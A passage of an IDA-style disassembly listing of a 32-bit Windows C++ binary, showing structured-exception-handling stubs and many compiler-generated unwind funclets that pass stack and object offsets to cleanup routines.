jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40CC80 proc near ; DATA XREF: sub_40CC80+8o
mov eax, offset dword_440460
jmp sub_437AB8
SEH_40CC80 endp
; ---------------------------------------------------------------------------
db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A04B: ; DATA XREF: ___:004404DCo
mov ecx, [ebp-10h]
add ecx, 19h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40CF30 proc near ; DATA XREF: sub_40CF30+2o
mov eax, offset dword_4404B0
jmp sub_437AB8
SEH_40CF30 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A07B: ; DATA XREF: ___:00440514o
mov ecx, [ebp-10h]
add ecx, 19h
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A086: ; DATA XREF: ___:0040CFB2o
mov eax, offset dword_4404E8
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40D200 proc near ; DATA XREF: sub_40D200+2o
mov eax, offset dword_440520
jmp sub_437AB8
SEH_40D200 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-16Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A0EB: ; DATA XREF: ___:00440594o
lea ecx, [ebp-184h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-19Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40D650 proc near ; DATA XREF: sub_40D650+2o
mov eax, offset dword_440568
jmp sub_437AB8
SEH_40D650 endp
; ---------------------------------------------------------------------------
db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-5ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-604h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-634h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-664h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-67Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-61Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-58Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-694h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-64Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40DC10 proc near ; DATA XREF: sub_40DC10+2o
mov eax, offset dword_4405D8
jmp sub_437AB8
SEH_40DC10 endp
; ---------------------------------------------------------------------------
db 27h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A228: ; DATA XREF: ___:0044069Co
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40E2E0 proc near ; DATA XREF: sub_40E2E0+2o
mov eax, offset dword_440670
jmp sub_437AB8
SEH_40E2E0 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A278: ; DATA XREF: ___:004406F4o
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40E860 proc near ; DATA XREF: sub_40E860+2o
mov eax, offset dword_4406C8
jmp sub_437AB8
SEH_40E860 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A2C8: ; DATA XREF: ___:0044074Co
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40ECF0 proc near ; DATA XREF: sub_40ECF0+2o
mov eax, offset dword_440720
jmp sub_437AB8
SEH_40ECF0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40EE30 proc near ; DATA XREF: sub_40EE30+2o
mov eax, offset dword_440760
jmp sub_437AB8
SEH_40EE30 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A318: ; DATA XREF: ___:004407BCo
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A348: ; DATA XREF: ___:0040F208o
mov eax, offset dword_440790
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_40204F
; ---------------------------------------------------------------------------
loc_43A378: ; DATA XREF: ___:0044081Co
mov ecx, [ebp-28h]
add ecx, 28h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 3Dh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 56h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 84h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 0B2h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 0E0h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 10Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 13Ch
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 16Ah
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 198h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 1C6h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 1F4h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 222h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 250h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 27Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 2ACh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
add ecx, 2DAh
jmp sub_401B68
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_40F6C0 proc near ; DATA XREF: sub_40F6C0+2o
mov eax, offset dword_4407F0
jmp sub_437AB8
SEH_40F6C0 endp
; ---------------------------------------------------------------------------
db 69h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-247Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A56B: ; DATA XREF: ___:0044097Co
lea ecx, [ebp-210Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-207Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A581: ; DATA XREF: ___:0044098Co
lea ecx, [ebp-237Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A58C: ; DATA XREF: ___:00440994o
lea ecx, [ebp-21CCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A597: ; DATA XREF: ___:0044099Co
lea ecx, [ebp-234Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A5A2: ; DATA XREF: ___:004409A4o
lea ecx, [ebp-2064h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A5AD: ; DATA XREF: ___:004409ACo
lea ecx, [ebp-231Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A5B8: ; DATA XREF: ___:004409B4o
lea ecx, [ebp-219Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-20DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-22ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A5D9: ; DATA XREF: ___:004409CCo
lea ecx, [ebp-22BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A5E4: ; DATA XREF: ___:004409D4o
lea ecx, [ebp-23DCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A5EF: ; DATA XREF: ___:004409DCo
lea ecx, [ebp-216Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A5FA: ; DATA XREF: ___:004409E4o
lea ecx, [ebp-2424h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-23F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-228Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-23C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-225Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A669: ; DATA XREF: ___:00440A2Co
lea ecx, [ebp-213Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A674: ; DATA XREF: ___:00440A34o
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43A682: ; DATA XREF: ___:00440A3Co
mov eax, [ebp-2480h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43A690: ; DATA XREF: ___:00440A44o
lea ecx, [ebp-21FCh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-20ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-222Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6B1: ; DATA XREF: ___:00440A5Co
lea ecx, [ebp-2394h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-23ACh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6C7: ; DATA XREF: ___:00440A6Co
lea ecx, [ebp-2334h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2364h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6DD: ; DATA XREF: ___:00440A7Co
lea ecx, [ebp-2304h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6E8: ; DATA XREF: ___:00440A84o
lea ecx, [ebp-22D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6F3: ; DATA XREF: ___:00440A8Co
mov ecx, [ebp-2480h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A6FE: ; DATA XREF: ___:00440A94o
lea ecx, [ebp-22A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A709: ; DATA XREF: ___:00440A9Co
lea ecx, [ebp-2244h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2274h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A71F: ; DATA XREF: ___:00440AB4o
lea ecx, [ebp-2214h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A72A: ; DATA XREF: ___:00440AC4o
lea ecx, [ebp-21E4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A735: ; DATA XREF: ___:00440ACCo
lea ecx, [ebp-2184h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-21B4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A74B: ; DATA XREF: ___:00440AE4o
lea ecx, [ebp-243Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-240Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A761: ; DATA XREF: ___:00440AFCo
lea ecx, [ebp-2124h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2154h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A777: ; DATA XREF: ___:00440B0Co
lea ecx, [ebp-20F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A782: ; DATA XREF: ___:00440B14o
lea ecx, [ebp-2094h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-2464h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-20C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A7A3: ; DATA XREF: sub_40FE30+8o
mov eax, offset dword_440950
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 93h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411760 proc near ; DATA XREF: sub_411760+8o
mov eax, offset dword_440B60
jmp sub_437AB8
SEH_411760 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A8B8: ; DATA XREF: ___:00440C0Co
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_411C00 proc near ; DATA XREF: sub_411C00+8o
mov eax, offset dword_440BE0
jmp sub_437AB8
SEH_411C00 endp
; ---------------------------------------------------------------------------
db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------
loc_43A960: ; DATA XREF: ___:00440CACo
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-48h]
and eax, 1
test eax, eax
jz locret_43A97E
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_43A97E: ; CODE XREF: ___:0043A970j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4122D0 proc near ; DATA XREF: sub_4122D0+2o
mov eax, offset dword_440C80
jmp sub_437AB8
SEH_4122D0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A9A8: ; DATA XREF: ___:00440CE4o
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412590 proc near ; DATA XREF: sub_412590+8o
mov eax, offset dword_440CB8
jmp sub_437AB8
SEH_412590 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40204F
; ---------------------------------------------------------------------------
loc_43A9C8: ; DATA XREF: ___:00440D1Co
mov ecx, [ebp-10h]
add ecx, 28h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Dh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 56h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 84h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B2h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E0h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 13Ch
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Ah
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 198h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1C6h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1F4h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 222h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 250h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 27Eh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2ACh
jmp sub_401023
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412860 proc near ; DATA XREF: sub_412860+2o
mov eax, offset dword_440CF0
jmp sub_437AB8
SEH_412860 endp
; ---------------------------------------------------------------------------
db 47h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_40204F
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412A20 proc near ; DATA XREF: sub_412A20+2o
mov eax, offset dword_440DA8
jmp sub_437AB8
SEH_412A20 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40204F
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412AD0 proc near ; DATA XREF: sub_412AD0+2o
mov eax, offset dword_440DD8
jmp sub_437AB8
SEH_412AD0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AB38: ; DATA XREF: ___:00440E34o
mov ecx, [ebp-10h]
add ecx, 15h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Ah
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Fh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 54h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 69h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412B50 proc near ; DATA XREF: sub_412B50+2o
mov eax, offset dword_440E08
jmp sub_437AB8
SEH_412B50 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AB98: ; DATA XREF: ___:00440E8Co
mov ecx, [ebp-10h]
add ecx, 15h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Ah
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Fh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 54h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 69h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412C10 proc near ; DATA XREF: sub_412C10+2o
mov eax, offset dword_440E60
jmp sub_437AB8
SEH_412C10 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_412CD0 proc near ; DATA XREF: sub_412CD0+2o
mov eax, offset dword_440EB8
jmp sub_437AB8
SEH_412CD0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AC18: ; DATA XREF: ___:00440F14o
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AC4E: ; DATA XREF: ___:00412D78o
mov eax, offset dword_440EE8
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_43AC7B: ; DATA XREF: ___:00440F74o
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_4011B8
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Ch
jmp sub_4014BF
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4131E0 proc near ; DATA XREF: sub_4131E0+2o
mov eax, offset dword_440F48
jmp sub_437AB8
SEH_4131E0 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_4011B8
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Ch
jmp sub_4014BF
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4132E0 proc near ; DATA XREF: sub_4132E0+2o
mov eax, offset dword_440F90
jmp sub_437AB8
SEH_4132E0 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4133A0 proc near ; DATA XREF: sub_4133A0+2o
mov eax, offset dword_440FD8
jmp sub_437AB8
SEH_4133A0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_413490 proc near ; DATA XREF: sub_413490+2o
mov eax, offset dword_441010
jmp sub_437AB8
SEH_413490 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4135D0 proc near ; DATA XREF: sub_4135D0+2o
mov eax, offset dword_441040
jmp sub_437AB8
SEH_4135D0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+1Ch]
jmp sub_401582
; ---------------------------------------------------------------------------
loc_43AD78: ; DATA XREF: ___:0044109Co
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_413730 proc near ; DATA XREF: sub_413730+2o
mov eax, offset dword_441070
jmp sub_437AB8
SEH_413730 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43AD98: ; DATA XREF: ___:004410D4o
lea ecx, [ebp-0A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-8Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4138A0 proc near ; DATA XREF: sub_4138A0+2o
mov eax, offset dword_4410A8
jmp sub_437AB8
SEH_4138A0 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp+1Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43ADD8: ; DATA XREF: ___:00441114o
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_401582
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_413A70 proc near ; DATA XREF: sub_413A70+2o
mov eax, offset dword_4410E8
jmp sub_437AB8
SEH_413A70 endp
; ---------------------------------------------------------------------------
